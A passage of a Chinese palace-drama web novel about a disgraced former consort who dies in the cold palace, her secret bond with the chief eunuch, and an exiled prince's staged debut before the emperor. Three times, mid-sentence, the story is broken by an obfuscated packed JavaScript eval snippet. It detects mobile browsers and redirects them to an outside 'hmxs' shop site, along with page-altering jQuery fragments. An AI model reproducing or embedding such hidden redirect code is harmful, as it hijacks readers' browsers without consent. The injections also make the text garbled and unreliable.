“早说嘛,你要看地图的话,我这里就有一份。等一下我找给你。” 娄庄姬好气又好笑:“你怎么之前不拿出来?” “你又没说要。” 皇甫澍回道:“涂姨不用麻烦,我拿师父这一份就够了。” 涂才人打了一个响亮的喷嚏,擦了下鼻涕,自顾自地翻找起来。 “那可不一样,我这份可是御赐的,绝无错漏。” “御赐的?”娄庄姬哑然,“你居然还留着这样的好东西?” “本来是想找个时间卖掉的,可是上面有皇帝印章,跑腿的不肯卖,说私自售卖御赐宝物,是要治罪的。我呸,什么宝物,一张纸因为盖了个章就金贵了吗?” 她话音刚落,又紧赶上了一个喷嚏。娄庄姬注意到她说话的声音也有点变调,劝道: “你先披件衣服再找吧,我看你有点着凉了。” 涂才人并不理会她,打开一个积灰的盒子,掏出了那张地图,上面经纬纵横、线条盘曲,果然不是凡品。 “澍儿,涂姨既然送你你就收下吧,地图这样实用的东西,自然是越详尽越好”娄庄姬说。 皇甫澍听从,谢过涂才人,将那份御赐黄绢彩绘地图也仔细地卷好收下了。 涂才人吸着鼻涕,说话的声音像气不通顺一样。 “你娘已经睡熟了,我进去,她一点反应都没有。” 皇甫澍了然,道: “今晚多有叨扰,时候不早了,我该回去,师父和涂姨也早些歇息吧。” 他一走,房间里又变得沉寂了。 当天晚上,娄庄姬先是被涂才人一个接一个的喷嚏吵醒;迷迷糊糊睡了一会儿,又被她剧烈的咳嗽声吵醒。 她的咳嗽很厉害,瘦弱的身体在被子下猛烈地起伏,四周的空气都被震动了。 娄庄姬觉得不太对劲:涂才人身体好,吃穿用度也没有短缺过,七年来没怎么生过病。像今天这样又淌鼻涕又咳嗽的,还真是少见。 她走到涂才人床边,一凑近就感到一股热气袭来。伸手触碰她的脸颊——果不其然,她发烧了。 她暗骂一声:“该!穿那么少在雪天乱跑,怎么不去雪里打滚呢。” 话虽如此,她还是把自己的被子垒在了涂才人身上,给她烧了热水,额头上敷上热毛巾,彻夜守着她,看她嘴皮干枯,就一直捧着水杯坐在床边,等她喊渴就递上去。 她难得有机会研究涂才人的面容。涂才人而今也不过三十几岁,虽然在冷宫形容懒散,但有眼睛的人都看得出来她天姿国色。她举止是不修边幅、大大咧咧的,静下来时,眉宇间却暗含一种孔雀般倨傲的神气,为她整张脸赋予一种神秘的色彩。 此时她病得糊涂,身上发烫,鬓发散乱,竟是难得一见的脆弱时候,细眉紧锁,活像个病西施。 娄庄姬这么半梦半醒地守到了天亮,她的烧不仅一点没退,还隐隐约约有加重的趋势。光照进屋子时,她才艰难地抬起一点眼皮。 “被子好重…我要起来。”她有气无力。 “不行。你得躺着静养。” 涂才人强撑着抬起脖子,听了她的话,又沉沉地落下,重重喘了几口气。 “要喝水吗?” “不。我什么时候能好?” “好奶奶,这是我能知道的吗?” “我今天得起来。” “你要做什么去?“ 涂才人不答。 “听我的,你哪儿都别去。你休息得越多,病就好得越快。” 见她闭上了眼睛,不说话,娄庄姬也不再打扰她,去隔壁跟皇甫澍柳美人他们说这个消息。没去多久,一回来,正撞见涂才人挣扎着支起了身子坐起来,又因为头晕摇摇晃晃的,倒了下去。 娄庄姬赶紧给她把被子扯好,埋怨道: “作死呢,你非得起来吗?” “今儿给我跑腿的人要来,送冬衣。我不能不去。” “我以为什么事儿。我替你去就好了。” “不行,”涂才人睁开眼睛,“你不能去!” 娄庄姬诧异道:“怎么不行?你病成这样,再去外面天寒地冻地走一遭,更好不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974349|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 涂才人纠结地思考。良久后才无可奈何地说: “行吧。但你见了那人,不许多说话,也不要说我病了,拿了东西就赶快回来,知不知道。” 神神秘秘的,像有鬼。娄庄姬腹诽。但嘴上还是答应了。 涂才人让她巳时就去候着。娄庄姬问去哪儿等。她告诉她,去从自己最精美的匣子里取出一把黄铜钥匙和一把铁钥匙,用黄铜钥匙去打开房后荒废已久的小厨房的门,进了小厨房,用铁钥匙去打开灶台旁的暗门,穿过一条甬道进入一个小房间,就在房间里等人来。 娄庄姬惊异:涂才人取东西时,总是神出鬼没的,原来冷宫还有这样一条暗道。 听从她的指引,娄庄姬走过爬满蜘蛛网的小厨房、积了厚厚一层灰的甬道,到了她口中那个昏暗的房间,心砰砰直跳。 没等一会儿,从外面传来门锁打开的脆响。娄庄姬强作镇定,定睛看向来人。 来的是一个中年太监,身着石青色蟒袍,一件厚披风,一看即知地位不同凡响,必定位高权重。他高个子,偏瘦,一张不蓄须的白脸很俊秀儒雅,脸上也少见一般太监的谄媚神色,倒像是个读书人。 他抬眼见一脸好奇的娄庄姬,又惊又疑。 “你是什么人?” “我是替涂才人来取冬衣的。” 那太监上下打量了她一番,好像在确认她的确是来自冷宫。 “二十岁出头年纪,你是娄氏吧?” “正是。” “涂娘娘跟我说过您,年轻气盛、敢想敢做,是个有意思的人物。只可惜咱家进内廷侍奉的晚,遗憾没赶上您春风得意的时候,看看您那时的风采。” “公公寒碜我呢。”娄庄姬苦笑,心里想,涂才人对她原来是这种评价。 “怎么涂娘娘今天没来呢?” “她今天不太方便。”娄庄姬想着涂才人反复的叮嘱。 “为什么事?” “我不知道,她可能手头的活儿还没做完吧。您把衣裳给我就行了,我保证给您送过去。” 那太监面露犹豫。 “您不信我吗?”娄庄姬反问。 “不,只是我得知道涂娘娘怎么了。“ “您不过帮她费心跑腿,横竖东西送到就行了,怎么这些琐事儿还要过问?”娄庄姬笑道。 太监听了这话,立刻不悦。 “咱家也不是白白跑腿的,她让我送冬衣的钱可还没给呢。她把钱给您了吗,劳烦您转交给我吧。” 娄庄姬一愣。临行前,她向涂才人确认,不用带铜钱、绣品去换,怎么到了这儿又横生枝节了? “您和她的钱物往来可与我没有关系,钱别找我要,大不了您下次再找她取。” “哼,她不会是舍不得钱,派你出来当挡箭牌躲债的吧。” “我不知道!我是听她说你们之前商量好了,才来取东西的。您要么先把衣裳给我,要么就等下次她拿了钱,您亲手给她好了。”娄庄姬也有了脾气。 “就让我这么白白跑一趟,你们想的倒是美!” 那太监虽然长了一张儒雅的脸,说话做事却咄咄逼人,言辞泼辣蛮横,一下子让人好感全无。 “你带我去见她,咱家要跟她说明白,咱家这差事不是白做的!” 娄庄姬冷笑:“您说见就见?宫中规矩森严,这冷宫怕不是您能硬闯的。” 那太监也报以冷笑:“这宫里还真没有咱家不能踏足的地方。” 如此嚣张! “还没自报家门呢。咱家是大内总管,冯盼春。” 8. 对食(一) 在宫里,官大一级压死人是一句至理。在森严的地位高低面前,没有翻身的机会。 凭着大内总管这个万人之上的身份,横行宫闱都不是妄谈,何况闯入无人问津的冷宫呢? 娄庄姬情急之下,只得暂且抛下涂才人的嘱咐,全盘托出真相:“她病了!” 冯盼春挑眉,似在分辨她是不是在说谎: “是不是真病了,得咱家亲眼看了才知道。再拦着咱家,咱家回去禀明皇上,你们几个不思悔过、阴谋出逃,跑到这里来,你们就等着遭殃吧。” 娄庄姬只得放行。一路上绞尽脑汁:涂才人怎么招惹上这么一个主儿? 走进涂才人房间,她还躺着。听到脚步,她睁眼,看到娄庄姬身旁身穿蟒袍的冯盼春,立刻露出难得一见的惊惶。 “你怎么把他带来了?” “原来你真的病了。”冯盼春说。 “不是什么大事,你干嘛来。” “都起不来床了,还没有大事?” 冯盼春走到她床边,涂才人朝娄庄姬的方向瞟了一眼。 “娄婕妤,劳烦您去屋外等一下。” 冯盼春语气没有了方才的咄咄逼人,但仍有力量,娄庄姬无话地退出去了。临出门时,她余光中注意到冯盼春逾越规矩地抚摸了涂才人的脸颊,这种过度的亲密让她起了疑心。 她到柳美人屋里,跟皇甫澍说让他先躲好别出来。然后一人站在积雪的院子里,克制自己不去偷听屋内二人的密谈。 到了快要放午饭的时辰,冯盼春终于依依不舍地从房里出来了,面带愁容。 娄庄姬有很多事情想问他。最重要的一个就是他们俩是什么关系?绝不会仅仅只是跑腿的和雇主的关系吧。但她刚凑上前去,冯盼春并不理会她,毫不停留,拂袖而去了。 她走进房间,想探问一下涂才人的口风。刚开口冒出一个音节,涂才人就扯起被子蒙住头。只得作罢。 第二天上午,冯盼春请来了太医给涂才人看诊。娄庄姬又一次被赶出来,她的疑惑加深了。 这次屋内有了响动,大概是涂才人不愿意吃药跟太医起了口角吧。吵吵嚷嚷一阵过后,两人出来了,冯盼春一脸无奈地叮嘱她,涂才人的病很重,记得每天提醒她按药方吃药。 太医听说柳美人也病了,估计是受涂才人之请,也要给柳美人看病。娄庄姬顿觉不妙,皇甫澍可还藏在柳美人屋里呢。赶忙推脱。 但冯盼春根本不听她的推辞,旁若无人地领着太医,推开房门就大踏步进去,娄庄姬紧随其后,捏了一把汗。 果然,皇甫澍没想到突然有人来,来不及闪躲,根本没有隐藏,娄庄姬觉得眼前一黑,险些站立不稳。 但,冯盼春对皇甫澍的存在波澜不惊,反而主动向有些吃惊的太医介绍道: “这位是我的小徒弟,几天前我专门派他来照顾柳娘子的。嘿,照顾她可不是份体面差事,不是自己贴心人,也没人愿意干啊。我派他的时候,他还满脸不乐意呢。” 他的说法,太医没有多怀疑,而且还出于对大内总管的敬意,向皇甫澍行了一礼。皇甫澍机灵,回礼后,立即开始烧水,做平日里照顾母亲的事。 太医给柳美人把脉。诊出她少食苦动,是因为终日处在冷宫这样恶劣的环境里,忧心忡忡,又食不饱衣不暖导致的,一年半载倒也不会出什么大事。症结根本还是在冷宫,但这就是他力不能及的地方了。于是只是开了副调养的方子,让她静养。又强调涂才人的病来得急、又凶猛,一定要细心照料。 诊完后,太医走了,冯盼春被娄庄姬拦下。 “公公知道···澍儿的事?“她问。 “当然知道。” “是涂才人告诉您的吗?” “不,咱家不用她告诉。” “那您是怎么?” “皇子的事就是当年咱家瞒下来的。咱家骗了皇上,把孩子抱到了冷宫。” 他说这话时神色平静。娄庄姬想起涂才人曾经的话——“这些奴才做好事,或许来生就改了奴才命。”冯盼春如今做到大内总管的位置,兴许就是善有善报。 娄庄姬的敬佩油然而生,她感激地说: “公公善心,真是感天动地!” “咱家当年还只是个给贵人们梳头的小太监,真不知道怎么有那样天大的胆子,”他用一种自嘲的语气追忆道,“日子过得真快,已经过去十八年了。看着当年那个小婴儿长到这么大,咱家进屋时也吓了一跳呢。” “是啊。” 娄庄姬回想起皇甫澍十一岁的样子,与现在的风华正茂的少年对比,也不禁感慨。 她接着问: “公公如今是大内总管了,不怕冒犯您,您为什么还屈尊帮涂才人跑腿呢?” 冯盼春斜睨了她一眼。 “人不能爬到高处去,就忘了来时路,您说对不?” “自然。” “咱家刚进宫时,就是侍奉的涂才人。娘娘那时对咱家极好,如今娘娘落魄了,咱家帮她也不费力,就当还当年的主仆之情了。” 娄庄姬恍然大悟,这可些许解释他们之间超出礼节的亲密。 “您不忘本。” “忘本的人,就是享受了一时的荣华富贵,老天也不会让他长久的。涂娘娘对咱家,恩重如山,咱家不能不报恩啊。” “可您都到这个位置了,在陛下身边说话分量大,为什么不为她美言,让她早日离开呢?” 冯盼春的嘴角爬上一抹苦笑,用一种非常强烈的惆怅语气说: “救人这种事情,被救的人若是不乐意,那不是吃力不讨好吗?” 娄庄姬一头雾水。 “什么意思?” “咱家倒是想帮,说句自夸的话,也不难帮成,不过是在陛下面前动动嘴皮子的事儿。可是,涂娘娘她不想出去啊。” 涂才人虽然在冷宫享着最上等的待遇,可这点便利与宫中的锦绣繁华相比简直不值一提。娄庄姬知道涂才人和她不同,对外面的世界没有渴望,但她始终不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974350|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她的理由。每次触碰到这个话题,她都会狡猾地回避。 “为什么呢?” “她说,在冷宫比在外面舒心。她已经厌烦在后宫中的尔虞我诈了。” “宫中明枪暗箭,确实让人不堪其忧。不过···” “什么?” “她若是不愿再做嫔妃,您就没有想过,把她送出宫外,过平常人家的日子吗?” “当然想过,”冯盼春的眉头紧锁,“但她也不愿意。她说,就让她在冷宫里,她在这里是报应,她甘愿承受。” “报应?” “您还不知道吧。把废妃们送到‘冷宫’的主意,就是她当年得宠的时候提出的。她本意惩治仇雠,没想到自己落进了自己圈下的罗网。” 娄庄姬觉得身上一阵恶寒。 “咱家劝不动她。她多可怜,曾经也是风光无限的宠妃,却落到在冷宫了却残生,她心里怎么接受的了呢?” 冯盼春的惋惜已经溢于言表,娄庄姬也不免有兔死狐悲之伤。就在这时,他们身后传来涂才人沙哑却饱含怒火的斥责: “你今天话说得太多了。我都不知道,你已经觉得自己高高在上到可以怜悯我了。” 冯盼春一怔,忙回头解释道:“我没觉得···” “对,你现在是大内总管了,觉得每个人都该听你的,觉得自己无所不能。” “我只是不懂,你为什么不走?” “我在这很好。” “一点都不好。” “你已经可以替我决定我过得好不好了吗?像你这样的人,坐到再高的位置也只是奴才,我至多允许你同我平起平坐,但你胆敢爬到我头上来,那是你不守规矩。“ 所谓“骂人不揭短”,涂才人一口一个“奴才”明显戳中了冯盼春的痛点。他在她面前的好脾气没了,阴阳怪气道: “您如今不是嫔妃,我也不是你的奴才了。您现在是庶人,在我面前,少摆您那套谱了,寿妃娘娘。” ”寿妃娘娘“四个字,他念得咬牙切齿。娄庄姬本来插不上嘴,听到这个名号不禁哑然。她知道寿妃是皇帝早年最宠爱的妃子,据说是艳冠六宫、如日中天,细眉黑唇的寿妃妆在宫内老人中仍然风靡。而那个活在人们传说中的妃子,现在就站在她面前。 涂才人病重,本来倚着门勉强站着,被冯盼春的话刺激,气血上涌。正要回嘴,话没出口,就软软地倒下了。两人瞬间慌了神,冯盼春完全抛却了刚刚争执时的怒火,两步并做一步冲上前去,拦腰抱她回到床上。 “我口不择言了,我不该那样说的。“他紧握着涂才人的手,情急之中落下了一滴泪。 娄庄姬在一旁,一边拧着热毛巾,一边看着眼前这一幕。她清楚地意识到,这两人的关系绝对不仅仅是曾经的主仆那样简单,他们的亲密与平等在宫中是禁忌的。她捧着毛巾走过去,冯盼春接过,掂量了一下温度,觉得合适后,亲手敷在了涂才人额头上。 娄庄姬立在旁边。她想到了一个词——对食。 9. 对食(二) 冯盼春今天似乎是没什么差事的,不然何以解释他守在涂才人的床边侍疾,一待就是一天一夜。这期间,太医院那边送药过来了,皇甫澍就在院子里煎药,既是为了涂才人,也是为了他母亲。 柳美人喝了药,身体略有起色,能在床上坐起来了。涂才人却不见好转,一直高烧不退,昏迷不醒。 “她平日里身体很好,怎么寻常的风寒会抗不过来呢?”娄庄姬问。 “她身体不好,平日里看着无恙,那是靠我送的药吊着的。” 夜深了,但药味弥漫的屋子里,两个人都不觉得困。皇甫澍安顿母亲睡下,也来照顾涂才人。冯盼春抚摸着他肩膀的动作,还像当年抚摸那个婴儿一样。 娄庄姬还是没忍住问道: “冯公公,您和涂才人,到底是什么关系?” 这时候再说是主仆就没意思了。 “您心里有想法吧?” 娄庄姬迟疑地说:“对···食?” 冯盼春点点头。 皇甫澍不知道这个词的意思,一脸茫然。 宫里,将宦官与宫女结成的伴侣称为“对食”,虽然本朝明面上禁止宫中发生这种不伦之事,但大多数时候还是睁一只眼闭一只眼,这样的结合不在少数。 “当年,寿妃娘娘风头正盛,一时鬼迷了心窍,想争夺后位,多次冲撞皇后,竟然还行了巫蛊之术。陛下对她的宠爱也是有限度的,这种丑事一抖出来,她立刻就被夺了妃位,降为才人。我记得她当时夜夜地哭:‘陛下不是许诺我要什么都答应吗?他为什么骗我?’别的奴才,见她落魄,都避之不及。只有咱家留下了。” “宫中世态炎凉,公公此是义气之举。” “说实话,咱家当时是为了什么留下来的也不清楚。是真的想报恩,还是有非分之想呢?不管怎么说,娘娘从此没有别人可以依靠,有什么知心话,都跟咱家说了。后来有一天,娘娘支撑不住了,咱家就安慰她:‘奴才会一直陪在您身边的。’谁承想,娘娘大为感动,竟然不顾礼仪,抱住了咱家。咱家当时就决定,今后不管遇到什么样的风浪,咱家一定要保护娘娘。” “哪怕是在冷宫?” “说来也可笑,娘娘从前确实嚣张跋扈过甚了,仇家众多,恨不得人人都来落井下石。咱家说要保护她,可陛下一道打入冷宫的旨意下来,咱家却什么办法都没有。于是咱家就只能从底层的小太监一步步往上爬,想着等自己位高权重了,或许能救娘娘。“ “您现在做到大内总管了,在宦官中,已经是位极人臣了。” “可娘娘心灰意冷,不愿意走了。” 悲伤的氛围弥漫开来,皇甫澍虽然不明白前因后果,但同样感受到了此刻的气氛。 “从我小时候起,涂姨就一直很照顾我。” “当初救下殿下,她还怪不乐意的呢,说这是引火烧身。” “我确实给涂姨添了不少麻烦。她为了我杀人了。” 原来皇甫澍当年虽小,心思却是洞明的。娄庄姬轻轻搭上他的肩膀,给予他沉默的安慰。 烛火摇晃。就要三更了。涂才人的呼吸突然变得急促,三人连忙靠近她,见她慢慢地睁开眼睛,喜不自胜。 “要喝水吗?” 她摇头。 “我知道我不行了。” “瞎说,你不过是小病,这不是就好起来了吗?”娄庄姬说。 “我了解我的身体,它早就撑不住了。不过也好,我很早之前,就活腻了。我为什么还要苟活着呢?” “你当然要活着!”冯盼春说。 涂才人无力地笑。 “你给我的衣服里,有一封我弟弟寄来的信。他说,父亲在任上积劳成疾,已经去世了。他们是被我连累,才被贬到了那个偏远地方,我觉得对不起他们。“ “不是的,不是的。” 涂才人看向娄庄姬和皇甫澍,对冯盼春说: “我只有一个心愿未了了。” “你别说丧气话。” “你答应我吧。” “···我答应。” “我活着没有意思了,但他们还想活下去,还要活得很好。我知道她想出去,我走后,你就像帮我一样,帮帮他们,好吗?” 娄庄姬俯下身子,抓住她的手,两行泪珠滚落。 “你好起来,我们再说这些。” “你不是一直看不惯我嘛?” “我···我。”她泣不成声。 “我是真的活不下去了。” 娄庄姬说不出任何话来了。涂才人卸下了往日里伪装出来的厚颜无耻,以坦诚的面目与她相见,那是一个脆弱、敏感的女人,与她表面的样子完全不一样。她还没有准备好与这样一个女人相处。 涂才人颤抖着伸出手,娄庄姬把脸靠过去,她的手抚过她的脸,很烫。 “与你第一次见的时候,你一定被我吓到了吧。我不是有磨镜之癖,我只是怕冷,渴望一个怀抱。” “你需要的话,我现在可以抱你。” “不。” 她微笑:“我不需要了。” 娄庄姬和皇甫澍退了出去,让冯盼春单独陪涂才人度过她的最后一段时间。 雪停了。皇甫澍在院子里来回兜圈子,时不时把地上的雪踹起来,盖住刚刚煮药时留下的灰。皇甫澍心里不安时,身体就闲不下来。娄庄姬与他相反,她在这种时候会一动不动,努力让自己什么都不想。 “涂姨会不会死?” “不会。” “但她说她不想活了。” “她只是烧糊涂了。明早她又会活蹦乱跳的。” “师父,你确定吗?” “当然。”娄庄姬其实有点心虚。她也看出来了皇甫澍没有完全相信他。他已经不是个别人说什么就信什么的小孩子了。 “师父,我怕我有一天也会不想活了,是真的不愿意活下去。” “你还这么年轻,不要担心这些。” 皇甫澍不再绕圈子,而是走近她。他已经比她高出一个头了,看她时需要垂下眼帘,长长的睫毛上沾了雪籽。 “师父,如果我也卧床不起了,你会不会陪着我。” 娄庄姬怔怔地看着他。 “不要说这种话。你这不是咒自己吗?” “你回答我就好了,”他一顿,声音低了下去,“不会吗?” “会的,我会一直陪着你,”娄庄姬转而自嘲,“不过,倒是我比你先倒下更有可能呢。” “那我也陪着师父!” “怎么满口晦气话,这小子。” 娄庄姬帮他把衣服拢严实。她此刻心里的痛苦不是皇甫澍能明白的。一方面是知道她过不了多久,就要失去涂才人了;另一方面,她看着屋里缠绵悱恻的二人,知道他们的感情是隐秘、不被接受的,可又由衷地羡慕涂才人得到了一颗真心,完完全全只属于她的真心,一种本该与成为天子妃嫔的女子无缘的真心。她悲伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974351|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂才人,同时也哀悼自己。 北风无情地呼啸着,两人不再说话,只是站的更紧了些,都在从对方身上汲取温暖,来对抗凛冬与死亡的寒意。娄庄姬有一刻觉得,若能与这个徒弟相依为命,倒也不错。但很快,她就打消了这个念头。她知道比起让徒弟留在自己身边,她更希望他展翅远走高飞。 天终于见了亮光,漫长的一夜终于要结束了。冯盼春推开了门,压抑着哭腔说道: “她去了。” 娄庄姬的眼泪流下时很安静,很快就冻在脸上了。 “她说还没有告诉过你她的名字。她闺名寿华。” “寿华?很好听的名字。” 涂寿华的丧礼是冯盼春向皇上提的。不知道他是怎样鼓动唇舌,说服了皇帝念记旧情,给她一个还算体面的仪式。冷宫挂上了白幡,原来她住的那间屋子空出来,放了一个牌位。这已经不合规矩了,但宫里人听说是曾经的寿妃的丧仪,结合传闻里她曾经的得宠,也觉得不足为奇,感叹皇帝过了这么多年,还是情深意重,寿妃也真有福气。 娄庄姬再次见到冯盼春时,注意到他袖口绑了一条白色的绳子,眼圈乌黑。 “咱家答应过的事,一定会做到的。” “多谢公公,公公千万保重身体。” “您费心。您出去的事儿不难办,过了这么多年,陛下指不定都忘了那茬呢,咱家说几句话还是有作用的。只是殿下的事,可能要费点功夫了。” “我知道,我也一直在想法子。” “以咱家看,还是得从天象着手。可以买通钦天监,让他们编造一条占卜,无非是拨乱反正,说明当年的事纯属谬误,贵人大难不死,必有后福。陛下这几年,对于朝堂之事渐渐疏远了,一直苦于无人可以让他安心放权,这个时候殿下出现,或许正合他的心愿。” “公公所言有理,”娄庄姬点头,“不过,我还有一点别的想法。” “您说。” “澍儿在冷宫长大,吃了不少苦头,我不想他认祖归宗后,继续受苦了。” “您多心了,他是皇子,谁有天大的胆子,还敢让他吃苦头呢?” “不。会有人质疑澍儿在冷宫没有受到应有的教导,德不配位。澍儿是个好孩子,才华横溢,他决不能遭受这样的非议。” 冯盼春没有搭话,从他的表情可以读出,他并没有觉得这些非议说的不对。 “我想要他以一个天才的身份出现在世人眼前。” “恕我失礼,殿下是吗?” “当然,我是他的师父,他才高八斗!” “您是他的师父。”冯盼春的表情耐人寻味。 “您答应过,帮我做我想做的事。” “咱家当然会帮,但要讲究方法。” “您相信我吧。” “你想的太多,要想让皇上认可,一步一步来嘛。” “澍儿已经耽误了很久了!” 冯盼春看她的眼神,好像在看一个疯女人。娄庄姬也觉得自己不大正常了,自从涂寿华走后,冷宫空空荡荡的,她急切地想改变七年来的一切,最好是翻天覆地的剧变。 “好吧。”冯盼春最终答应了。 “不过咱家得提醒您,您得想好这事儿没成功的后果是什么。” “我没有什么好怕的,只要您不因为担心失败不全力相助就好。” 冯盼春苦笑。 “咱家什么都没了。也没有什么好担忧的了。” 10. 重生(一) 钦天监很快顺着冯盼春的意思编造了一条天象记录。据他的转述,皇上沉迷黄老,比之前更加相信这些预兆。虽然没有点明说当年的荧惑守心有误,应该把皇子留下,但皇上心里已经埋下了疑惑的种子,这样之后的计划也会更容易行事。娄庄姬佩服他的手眼通天,希望他继续鼎力相助。 开春后,宫中一片喜气。春节与皇帝的诞辰连在一起,日日张灯结彩,人人带笑。虽然皇帝倡导清修,但在身边妃嫔宦官讨好劝说之下,还是决定出席自己的寿宴。不过他强调,务必不能铺张浪费,一切从简。 陛下千秋节那天很晴朗,筵席就设在了御花园的水榭之上,刚好迎合了皇上喜好清净的脾性。宴席与往年相比没有什么出奇的,歌舞都是老一套。皇帝近来不近女色,各宫嫔妃也自觉争奇斗艳毫无意思,大家不过例行公事罢了。 席间,皇帝兴致缺缺,只有在大皇子奶声奶气地向他祝寿时,难得开怀大笑,赏赐了文房四宝。这对于他的生母袁贵妃来讲,是她傲视其他妃子的殊荣。 冯盼春看准时机,在皇帝快要打瞌睡的时候,凑上前说: “陛下是清修之人,这些俗气舞乐不合陛下品味,不如撤下去。” 皇上点了点头。 ”冯大监,这没了节目,陛下圣辰大喜的日子岂不寡淡?”袁贵妃责问到。 “娘娘莫急,奴才特意为陛下备了一出节目,保证使陛下满意。还请陛下与众位贵人赏脸,移步吟墨院。“ 众人都不知道他葫芦里买的什么药,但皇上同意了,他们也就无甚可说。只有贵妃对他的自作主张很不满,剜了他一眼。 吟墨院是专门供太学青年文人们舞文弄墨的地方,历代帝王也会在这里会见有才名的士子,许多人就是在这里得到帝王青睐,平步青云。 “陛下,奴才今日召集吟墨院众士子、与京中富有才名的文人于此,令他们尽己所能,为陛下作诗文贺寿。” 皇帝抚须一笑:“这个注意好,清雅又风流,又可显出我梁朝人才济济。” 堂下众士子早已端坐,笔墨均已备好,冯盼春一声令下,所有人现场赋诗,各显神通。皇帝在士子之间穿梭,时不时停下观察他们写作的模样。 有人没写几句就抓耳挠腮,皇帝看到摇头;也有人下笔如有神,呼呼而就一篇大作,皇帝便格外留神。 众妃嫔坐在屏风后面。袁贵妃把儿子皇甫诚叫到身边,让人端上皇上刚赏的文房四宝,催促他也速速成一篇文贺寿。 皇甫诚还只是个八岁的孩子,四书都还未读通,哪里会作诗文呢。但贵妃不管,只是说“快些写,快些写。”皇甫诚急的哭了出来,皇帝听到了,很烦躁地说道: “把诚儿带回去吧,大庭广众之下哭哭啼啼的成什么样子。” 贵妃颇有些偷鸡不成蚀把米的意味,被周围嫔妃低声的窃笑羞愤得红了脸。 冯盼春设定的时间很短,不过一炷香。众人墨迹未干的纸张很快送到皇帝面前,以供御览。 因为是命题作文,又是为君王祝寿这样的主题,大部分人都写的四平八稳,不过是歌功颂德,祝愿陛下寿比南山一类的套词。有写到赞扬当今天下太平、国泰民安的,就是很出彩的好文章了。再有在诗中抒发自己报效祖国的志向的,便是有巧思,都被单独拎出来,受赏。 交上来的卷子估计有百八十份,皇帝也是四十几岁的人了,不一会儿就看得有些疲倦。 “虽说众人文采俱佳,但看多了,未免千篇一律,寡然无味啊。” 他揭过一篇平平无奇的诗作,拿起最底下的一张。一看到上面的作品,他就瞪大了眼睛。 这篇的篇幅相较于之前极长,占了大半张版面,第一眼就引人注目。并且,这并不是一篇堆砌辞藻充体量的无病呻吟之作。他开篇先是叙述开国之初民生凋敝、百废待兴,接着梁朝历代君主励精图治,文臣武将精忠报国,筑就了现在的盛世景象,一大段流光溢彩的铺陈之后,作者别出心裁地留下了一个钩子,说天意也是站在梁朝这一边的,哪怕一时有错漏,上苍也会指引明君拨乱反正,梁朝顺天承命,千秋万代。 “最后这几联倒是极妙,倒切合朕最近的心意。不知是何人所作啊?” 这篇作者,署名只留了一个单字——“澍”。 冯盼春脸上渐渐浮起笑意。 ”澍,站出来。“他唱道。 从一众白衣士子中走出的正是峨冠博带的皇甫澍。皇帝见他芝兰玉树、气宇轩昂,脸上的喜欢藏不住了,问道: “你这篇诗文作的不错。不过怎么只留下一个名字,你姓什么啊?” 皇甫澍并未直接回答。 “陛下,小臣不仅有诗文为陛下庆贺,更愿奉上策论一篇,乃小臣呕心力作,望陛下开采圣听!” 他说着便掏出藏在袖子里的卷轴。众人哗然。 “拿上来。” 冯盼春将卷轴在皇帝面前展开,皇帝粗粗地扫了一眼,已觉得通体气势不凡。 “不错,倒是个难得一见的人才。” 底下已有人议论纷纷:“这个人是谁?”“没见过啊,不是太学的。”“竟然提前准备了文章,就为了在皇上面前露脸?” 冯盼春咳了一声,示意众人安静。接着向皇甫澍使了一个眼色。 “陛下很赏识你,报上名来吧。” 皇甫澍扑通一声跪下,叩首朗声道: “小臣复姓皇甫,生母乃陛下废妃,冷宫柳氏!” 这下全场的骚动按捺不住了,一下子炸开了锅。连一直在帘后的后妃们也吵嚷起来,袁贵妃直接跑到了大殿上,怒气冲冲。 “大胆狂生,安敢自称皇家血脉!”她横眉骂道。 皇帝的脸色也不好看,比起重见孩子的惊喜,他所表现出的更像是警惕。 皇甫澍也略有些慌张,但见到冯盼春比划着让他不要害怕,他还是镇定地说: “小臣不敢欺骗圣上。柳氏仍在冷宫之中,若陛下愿意垂怜旧人,可召她面见,一问便知。” 皇帝这时扭头看向冯盼春: “你给朕准备的节目,还真是精彩啊。” 冯盼春连忙跪下:“陛下恕罪,奴才不知此事啊!” 贵妃也冲过来,二话不说给了冯盼春一耳光:“贱奴,早就知道你心怀不轨!” 冯盼春捂着脸,向她连连求饶,贵妃哪肯善罢甘休,一抬手又是一声脆响。正要打下一个时,皇帝一声大呵: “成何体统!” 龙颜大怒,殿内一下子鸦雀无声。 皇帝敲着桌子,嘴里念念有词:“拨乱反正,天意指引···” 贵妃已经挤出了眼泪,哭诉道:

